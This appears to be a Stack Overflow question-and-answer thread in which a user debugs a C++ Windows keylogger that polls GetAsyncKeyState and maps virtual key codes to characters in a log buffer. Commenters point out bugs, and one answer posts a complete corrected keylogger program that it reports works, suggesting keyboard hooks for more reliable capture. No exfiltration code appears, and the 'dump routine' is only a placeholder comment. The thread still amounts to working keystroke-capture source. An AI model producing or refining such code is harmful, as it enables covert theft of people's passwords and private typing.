-2

I am setting up a keylogger, but not for malicious purposes.

Whenever I press a key after applying the switch statement to capture specific Virtual Key codes, my buffer gets completely filled with every number, letter, symbol etc.. that I filtered. It seems that, for some reason, whenever I press a key all of the switch statement's cases get hit. How do I fix it? Here is a screenshot below to make you visualize the problem:

image

file: main.cpp

while(true)
{
    char key;
    for (key = 8; key <= 255; key++)
    {
        Api._Sleep(20);

        char _log[MAX_PATH];
            
        KL::Log(key, _log);
            
        Api._lstrcatA(_log, &key);
        int len = Api._lstrlenA(_log);
        if(len == MAX_PATH)
        {
            //dump routine
            memset(_log, 0, sizeof(_log));
        }
    }  
}

file: keylogger.cpp

void KL::Log(char key, char* logvar)
{
    if (GetAsyncKeyState(key) == -32767)
    {
        bool shift_down = GetAsyncKeyState(VK_SHIFT);
        switch (key)
        {
            case 0x08: logvar[lstrlenA(logvar) - 1] = '\0';
                break;
            case 0x09: lstrcatA(logvar, "[TAB]");
                break;
            case 0x0D: lstrcatA(logvar, "[NEWLINE]");
                break;
            case 0x13: lstrcatA(logvar, "[PAUSE]");
                break;
            case 0x14: lstrcatA(logvar, "[CAPS LOCK]");
                break;
            case 0x20: lstrcatA(logvar, " ");
                break;
            case 0x25: lstrcatA(logvar, "[LARROW]");
                break;
            case 0x26: lstrcatA(logvar, "[UPARROW]");
                break;
            case 0x27: lstrcatA(logvar, "[RARROW]");
                break;
            case 0x28: lstrcatA(logvar, "[DARROW]");
                break;
            case 0x2E: lstrcatA(logvar, "[DELETE]");
                break;
            case 0x30: (!shift_down) ? lstrcatA(logvar, "0") : lstrcatA(logvar, ")");
                break;
            case 0x31: (!shift_down) ? lstrcatA(logvar, "1") : lstrcatA(logvar, "!");
                break;
            case 0x32: (!shift_down) ? lstrcatA(logvar, "2") : lstrcatA(logvar, "@");
                break;
            case 0x33: (!shift_down) ? lstrcatA(logvar, "3") : lstrcatA(logvar, "#");
                break;
            case 0x34: (!shift_down) ? lstrcatA(logvar, "4") : lstrcatA(logvar, "$");
                break;
            case 0x35: (!shift_down) ? lstrcatA(logvar, "5") : lstrcatA(logvar, "%");
                break;
            case 0x36: (!shift_down) ? lstrcatA(logvar, "6") : lstrcatA(logvar, "^");
                break;
            case 0x37: (!shift_down) ? lstrcatA(logvar, "7") : lstrcatA(logvar, "&");
                break;
            case 0x38: (!shift_down) ? lstrcatA(logvar, "8") : lstrcatA(logvar, "*");
                break;
            case 0x39: (!shift_down) ? lstrcatA(logvar, "9") : lstrcatA(logvar, "(");
                break;
            case 0x41: (!shift_down) ? lstrcatA(logvar, "a") : lstrcatA(logvar, "A");
                break;
            case 0x42: (!shift_down) ? lstrcatA(logvar, "b") : lstrcatA(logvar, "B");
                break;
            case 0x43: (!shift_down) ? lstrcatA(logvar, "c") : lstrcatA(logvar, "C");
                break;
            case 0x44: (!shift_down) ? lstrcatA(logvar, "d") : lstrcatA(logvar, "D");
                break;
            case 0x45: (!shift_down) ? lstrcatA(logvar, "e") : lstrcatA(logvar, "E");
                break;
            case 0x46: (!shift_down) ? lstrcatA(logvar, "f") : lstrcatA(logvar, "F");
                break;
            case 0x47: (!shift_down) ? lstrcatA(logvar, "g") : lstrcatA(logvar, "G");
                break;
            case 0x48: (!shift_down) ? lstrcatA(logvar, "h") : lstrcatA(logvar, "H");
                break;
            case 0x49: (!shift_down) ? lstrcatA(logvar, "i") : lstrcatA(logvar, "I");
                break;
            case 0x4A: (!shift_down) ? lstrcatA(logvar, "j") : lstrcatA(logvar, "J");
                break;
            case 0x4B: (!shift_down) ? lstrcatA(logvar, "k") : lstrcatA(logvar, "K");
                break;
            case 0x4C: (!shift_down) ? lstrcatA(logvar, "l") : lstrcatA(logvar, "L");
                break;
            case 0x4D: (!shift_down) ? lstrcatA(logvar, "m") : lstrcatA(logvar, "M");
                break;
            case 0x4E: (!shift_down) ? lstrcatA(logvar, "n") : lstrcatA(logvar, "N");
                break;
            case 0x4F: (!shift_down) ? lstrcatA(logvar, "o") : lstrcatA(logvar, "O");
                break;
            case 0x50: (!shift_down) ? lstrcatA(logvar, "p") : lstrcatA(logvar, "P");
                break;
            case 0x51: (!shift_down) ? lstrcatA(logvar, "q") : lstrcatA(logvar, "Q");
                break;
            case 0x52: (!shift_down) ? lstrcatA(logvar, "r") : lstrcatA(logvar, "R");
                break;
            case 0x53: (!shift_down) ? lstrcatA(logvar, "s") : lstrcatA(logvar, "S");
                break;
            case 0x54: (!shift_down) ? lstrcatA(logvar, "t") : lstrcatA(logvar, "T");
                break;
            case 0x55: (!shift_down) ? lstrcatA(logvar, "u") : lstrcatA(logvar, "U");
                break;
            case 0x56: (!shift_down) ? lstrcatA(logvar, "v") : lstrcatA(logvar, "V");
                break;
            case 0x57: (!shift_down) ? lstrcatA(logvar, "w") : lstrcatA(logvar, "W");
                break;
            case 0x58: (!shift_down) ? lstrcatA(logvar, "x") : lstrcatA(logvar, "X");
                break;
            case 0x59: (!shift_down) ? lstrcatA(logvar, "y") : lstrcatA(logvar, "Y");
                break;
            case 0x5A: (!shift_down) ? lstrcatA(logvar, "z") : lstrcatA(logvar, "Z");
                break;
            case 0x60: (!shift_down) ? lstrcatA(logvar, "0") : lstrcatA(logvar, "0");
                break;
            case 0x61: (!shift_down) ? lstrcatA(logvar, "1") : lstrcatA(logvar, "1");
                break;
            case 0x62: (!shift_down) ? lstrcatA(logvar, "2") : lstrcatA(logvar, "2");
                break;
            case 0x63: (!shift_down) ? lstrcatA(logvar, "3") : lstrcatA(logvar, "3");
                break;
            case 0x64: (!shift_down) ? lstrcatA(logvar, "4") : lstrcatA(logvar, "4");
                break;
            case 0x65: (!shift_down) ? lstrcatA(logvar, "5") : lstrcatA(logvar, "5");
                break;
            case 0x66: (!shift_down) ? lstrcatA(logvar, "6") : lstrcatA(logvar, "6");
                break;
            case 0x67: (!shift_down) ? lstrcatA(logvar, "7") : lstrcatA(logvar, "7");
                break;
            case 0x68: (!shift_down) ? lstrcatA(logvar, "8") : lstrcatA(logvar, "8");
                break;
            case 0x69: (!shift_down) ? lstrcatA(logvar, "9") : lstrcatA(logvar, "9");
                break;
            case 0x6A: (!shift_down) ? lstrcatA(logvar, "*") : lstrcatA(logvar, "*");
                break;
            case 0x6B: (!shift_down) ? lstrcatA(logvar, "+") : lstrcatA(logvar, "+");
                break;
            case 0x6D: (!shift_down) ? lstrcatA(logvar, "-") : lstrcatA(logvar, "-");
                break;
            case 0x6E: (!shift_down) ? lstrcatA(logvar, ".") : lstrcatA(logvar, ".");
                break;
            case 0x6F: (!shift_down) ? lstrcatA(logvar, "/") : lstrcatA(logvar, "/");
                break;
            case 0xBA: (!shift_down) ? lstrcatA(logvar, ";") : lstrcatA(logvar, ":");
                break;
            case 0xBB: (!shift_down) ? lstrcatA(logvar, "=") : lstrcatA(logvar, "+");
                break;
            case 0xBC: (!shift_down) ? lstrcatA(logvar, ",") : lstrcatA(logvar, "<");
                break;
            case 0xBD: (!shift_down) ? lstrcatA(logvar, "-") : lstrcatA(logvar, "_");
                break;
            case 0xBE: (!shift_down) ? lstrcatA(logvar, ".") : lstrcatA(logvar, ">");
                break;
            case 0xBF: (!shift_down) ? lstrcatA(logvar, "/") : lstrcatA(logvar, "?");
                break;
            case 0xC0: (!shift_down) ? lstrcatA(logvar, "`") : lstrcatA(logvar, "~");
                break;
            case 0xDB: (!shift_down) ? lstrcatA(logvar, "[") : lstrcatA(logvar, "{");
                break;
            case 0xDC: (!shift_down) ? lstrcatA(logvar, "\\") : lstrcatA(logvar, "|");
                break;
            case 0xDD: (!shift_down) ? lstrcatA(logvar, "]") : lstrcatA(logvar, "}");
                break;
            case 0xDE: (!shift_down) ? lstrcatA(logvar, "'") : lstrcatA(logvar, "\"");
                break;
        }
    }
}
Remy Lebeau
  • 555,201
  • 31
  • 458
  • 770
  • 1
    Too many unknowns to be sure, but it doesn't look like `_log` is being null -terminated. – user4581301 Jan 11 '21 at 23:14
  • `&key` is not a null-terminated string, so `Api._lstrcatA(_log, &key);` will not work. You would need to use `char buf[2] = {key, '\0'}; Api._lstrcatA(_log, buf);` instead. – Remy Lebeau Jan 11 '21 at 23:52
  • @RemyLebeau i did that and im still getting the same output :/ – pillpopper228 Jan 12 '21 at 00:14
  • 1
    @pillpopper228 I didn't say it would fix your output, only that it was a bug. – Remy Lebeau Jan 12 '21 at 00:23
  • Why are you checking for `GetAsyncKeyState()` for `-32767` only? You do realize what that represents, don't you? Did you read the documentation, which says: "*The behavior of the least significant bit of the return value is retained strictly for compatibility with 16-bit Windows applications (which are non-preemptive) and should not be relied upon.*" If you really want to detect key presses, you shouldn't be polling the keys at all. Use a keyboard hook via `SetWindowsHookEx()` or `RegisterRawInputDevices()` and let the hook notify you of each key press. – Remy Lebeau Jan 12 '21 at 00:32
  • Even if you don't press a key, you still use `Api._lstrcatA(_log, &key);` to splice the key into `_log` instead of just writing the detected key. – Zeus Jan 12 '21 at 01:41

2 Answers2

0

_log is getting redeclared on every iteration of the loop. So each strcat operation is just going to overwrite whatever was there before. But that's moot because _log isn't initialized to an empty string either. I'm guessing you meant to declare _log as a class member variable instead of a local variable.

Change this:

while(true)
{
    char key;
    for (key = 8; key <= 255; key++)
    {
        Api._Sleep(20);

        char _log[MAX_PATH];
        
        KL::Log(key, _log);
        
        Api._lstrcatA(_log, &key);
        int len = Api._lstrlenA(_log);
        if(len == MAX_PATH)
        {
            //dump routine
            memset(_log, 0, sizeof(_log));
        }
    }  
}

To this:

char _log[MAX_PATH] = {0}; // zero-init
// OR THIS if _log is a class variable: 
// memset(_log, '\0', sizeof(_log));

while(true)
{
    char key;
    for (key = 8; key <= 255; key++)
    {
        Api._Sleep(20);

       
        KL::Log(key, _log);
        
        Api._lstrcatA(_log, &key);
        int len = Api._lstrlenA(_log);
        if(len == MAX_PATH)
        {
            //dump routine
            memset(_log, 0, sizeof(_log));
        }
    }  
}

Not sure why you have a 20ms sleep statement in the middle of each loop iteration.

selbie
  • 100,020
  • 15
  • 103
  • 173
  • i did sleep(20) cuz it greatly reduces cpu usage, however i tried null-terminating ```key``` and nothing changed, even after i put _log outside the while true loop, i still get the same messagebox with weird symbols including all letters numbers etc as the output – pillpopper228 Jan 12 '21 at 00:12
  • You have shown code that fills `_log`, but where is the code that actually displays it? – Remy Lebeau Jan 12 '21 at 00:24
0

First, you should declare _log outside the while loop (it can be global or local, it depends on your needs).

Then you shouldn't use Api._lstrlenA(_log); to write the value of key every time, this will make your _log record all the values.

You should not use Api._Sleep(20);, because this will affect the judgment of the keyboard press. When the key is pressed, it is likely that the current key value is different from the pressed key value, and sleep After that, the program missed the key.

Here is the modified sample, it worked for me:

#include <iostream>
#include <windows.h>
using namespace std;
void Log(char key, char* logvar)
{
    if (GetAsyncKeyState(key) & 0x01)
    {
        bool shift_down = GetAsyncKeyState(VK_SHIFT);
        switch (key)
        {
        case 0x08: logvar[lstrlenA(logvar) - 1] = '\0';
            break;
        case 0x09: lstrcatA(logvar, "[TAB]");
            break;
        case 0x0D: lstrcatA(logvar, "[NEWLINE]");
            break;
        case 0x13: lstrcatA(logvar, "[PAUSE]");
            break;
        case 0x14: lstrcatA(logvar, "[CAPS LOCK]");
            break;
        case 0x20: lstrcatA(logvar, " ");
            break;
        case 0x25: lstrcatA(logvar, "[LARROW]");
            break;
        case 0x26: lstrcatA(logvar, "[UPARROW]");
            break;
        case 0x27: lstrcatA(logvar, "[RARROW]");
            break;
        case 0x28: lstrcatA(logvar, "[DARROW]");
            break;
        case 0x2E: lstrcatA(logvar, "[DELETE]");
            break;
        case 0x30: (!shift_down) ? lstrcatA(logvar, "0") : lstrcatA(logvar, ")");
            break;
        case 0x31: (!shift_down) ? lstrcatA(logvar, "1") : lstrcatA(logvar, "!");
            break;
        case 0x32: (!shift_down) ? lstrcatA(logvar, "2") : lstrcatA(logvar, "@");
            break;
        case 0x33: (!shift_down) ? lstrcatA(logvar, "3") : lstrcatA(logvar, "#");
            break;
        case 0x34: (!shift_down) ? lstrcatA(logvar, "4") : lstrcatA(logvar, "$");
            break;
        case 0x35: (!shift_down) ? lstrcatA(logvar, "5") : lstrcatA(logvar, "%");
            break;
        case 0x36: (!shift_down) ? lstrcatA(logvar, "6") : lstrcatA(logvar, "^");
            break;
        case 0x37: (!shift_down) ? lstrcatA(logvar, "7") : lstrcatA(logvar, "&");
            break;
        case 0x38: (!shift_down) ? lstrcatA(logvar, "8") : lstrcatA(logvar, "*");
            break;
        case 0x39: (!shift_down) ? lstrcatA(logvar, "9") : lstrcatA(logvar, "(");
            break;
        case 0x41: (!shift_down) ? lstrcatA(logvar, "a") : lstrcatA(logvar, "A");
            break;
        case 0x42: (!shift_down) ? lstrcatA(logvar, "b") : lstrcatA(logvar, "B");
            break;
        case 0x43: (!shift_down) ? lstrcatA(logvar, "c") : lstrcatA(logvar, "C");
            break;
        case 0x44: (!shift_down) ? lstrcatA(logvar, "d") : lstrcatA(logvar, "D");
            break;
        case 0x45: (!shift_down) ? lstrcatA(logvar, "e") : lstrcatA(logvar, "E");
            break;
        case 0x46: (!shift_down) ? lstrcatA(logvar, "f") : lstrcatA(logvar, "F");
            break;
        case 0x47: (!shift_down) ? lstrcatA(logvar, "g") : lstrcatA(logvar, "G");
            break;
        case 0x48: (!shift_down) ? lstrcatA(logvar, "h") : lstrcatA(logvar, "H");
            break;
        case 0x49: (!shift_down) ? lstrcatA(logvar, "i") : lstrcatA(logvar, "I");
            break;
        case 0x4A: (!shift_down) ? lstrcatA(logvar, "j") : lstrcatA(logvar, "J");
            break;
        case 0x4B: (!shift_down) ? lstrcatA(logvar, "k") : lstrcatA(logvar, "K");
            break;
        case 0x4C: (!shift_down) ? lstrcatA(logvar, "l") : lstrcatA(logvar, "L");
            break;
        case 0x4D: (!shift_down) ? lstrcatA(logvar, "m") : lstrcatA(logvar, "M");
            break;
        case 0x4E: (!shift_down) ? lstrcatA(logvar, "n") : lstrcatA(logvar, "N");
            break;
        case 0x4F: (!shift_down) ? lstrcatA(logvar, "o") : lstrcatA(logvar, "O");
            break;
        case 0x50: (!shift_down) ? lstrcatA(logvar, "p") : lstrcatA(logvar, "P");
            break;
        case 0x51: (!shift_down) ? lstrcatA(logvar, "q") : lstrcatA(logvar, "Q");
            break;
        case 0x52: (!shift_down) ? lstrcatA(logvar, "r") : lstrcatA(logvar, "R");
            break;
        case 0x53: (!shift_down) ? lstrcatA(logvar, "s") : lstrcatA(logvar, "S");
            break;
        case 0x54: (!shift_down) ? lstrcatA(logvar, "t") : lstrcatA(logvar, "T");
            break;
        case 0x55: (!shift_down) ? lstrcatA(logvar, "u") : lstrcatA(logvar, "U");
            break;
        case 0x56: (!shift_down) ? lstrcatA(logvar, "v") : lstrcatA(logvar, "V");
            break;
        case 0x57: (!shift_down) ? lstrcatA(logvar, "w") : lstrcatA(logvar, "W");
            break;
        case 0x58: (!shift_down) ? lstrcatA(logvar, "x") : lstrcatA(logvar, "X");
            break;
        case 0x59: (!shift_down) ? lstrcatA(logvar, "y") : lstrcatA(logvar, "Y");
            break;
        case 0x5A: (!shift_down) ? lstrcatA(logvar, "z") : lstrcatA(logvar, "Z");
            break;
        case 0x60: (!shift_down) ? lstrcatA(logvar, "0") : lstrcatA(logvar, "0");
            break;
        case 0x61: (!shift_down) ? lstrcatA(logvar, "1") : lstrcatA(logvar, "1");
            break;
        case 0x62: (!shift_down) ? lstrcatA(logvar, "2") : lstrcatA(logvar, "2");
            break;
        case 0x63: (!shift_down) ? lstrcatA(logvar, "3") : lstrcatA(logvar, "3");
            break;
        case 0x64: (!shift_down) ? lstrcatA(logvar, "4") : lstrcatA(logvar, "4");
            break;
        case 0x65: (!shift_down) ? lstrcatA(logvar, "5") : lstrcatA(logvar, "5");
            break;
        case 0x66: (!shift_down) ? lstrcatA(logvar, "6") : lstrcatA(logvar, "6");
            break;
        case 0x67: (!shift_down) ? lstrcatA(logvar, "7") : lstrcatA(logvar, "7");
            break;
        case 0x68: (!shift_down) ? lstrcatA(logvar, "8") : lstrcatA(logvar, "8");
            break;
        case 0x69: (!shift_down) ? lstrcatA(logvar, "9") : lstrcatA(logvar, "9");
            break;
        case 0x6A: (!shift_down) ? lstrcatA(logvar, "*") : lstrcatA(logvar, "*");
            break;
        case 0x6B: (!shift_down) ? lstrcatA(logvar, "+") : lstrcatA(logvar, "+");
            break;
        case 0x6D: (!shift_down) ? lstrcatA(logvar, "-") : lstrcatA(logvar, "-");
            break;
        case 0x6E: (!shift_down) ? lstrcatA(logvar, ".") : lstrcatA(logvar, ".");
            break;
        case 0x6F: (!shift_down) ? lstrcatA(logvar, "/") : lstrcatA(logvar, "/");
            break;
        case 0xBA: (!shift_down) ? lstrcatA(logvar, ";") : lstrcatA(logvar, ":");
            break;
        case 0xBB: (!shift_down) ? lstrcatA(logvar, "=") : lstrcatA(logvar, "+");
            break;
        case 0xBC: (!shift_down) ? lstrcatA(logvar, ",") : lstrcatA(logvar, "<");
            break;
        case 0xBD: (!shift_down) ? lstrcatA(logvar, "-") : lstrcatA(logvar, "_");
            break;
        case 0xBE: (!shift_down) ? lstrcatA(logvar, ".") : lstrcatA(logvar, ">");
            break;
        case 0xBF: (!shift_down) ? lstrcatA(logvar, "/") : lstrcatA(logvar, "?");
            break;
        case 0xC0: (!shift_down) ? lstrcatA(logvar, "`") : lstrcatA(logvar, "~");
            break;
        case 0xDB: (!shift_down) ? lstrcatA(logvar, "[") : lstrcatA(logvar, "{");
            break;
        case 0xDC: (!shift_down) ? lstrcatA(logvar, "\\") : lstrcatA(logvar, "|");
            break;
        case 0xDD: (!shift_down) ? lstrcatA(logvar, "]") : lstrcatA(logvar, "}");
            break;
        case 0xDE: (!shift_down) ? lstrcatA(logvar, "'") : lstrcatA(logvar, "\"");
            break;
        }
    }
}
int main(int argc, const char* argv[])
{
    char _log[MAX_PATH]{};
    while (true)
    {
        char key;
        for (key = 8; key <= 255; key++)
        {
            //Sleep(20);
            Log(key, _log);
            //char buf[2] = { key, '\0' };
            //lstrcatA(_log, buf);
            int len = lstrlenA(_log);
            if (len == MAX_PATH)
            {
                //dump routine
                memset(_log, 0, sizeof(_log));
            }
        }
    }
    return 0;
}

Of course, this will cause the CPU occupancy problem you mentioned, so it is recommended that you use SetWindowsHook to achieve key logging.

You can refer to this thread:C++/Win32: Keyboard input to a non-foreground window

Zeus
  • 3,703
  • 3
  • 7
  • 20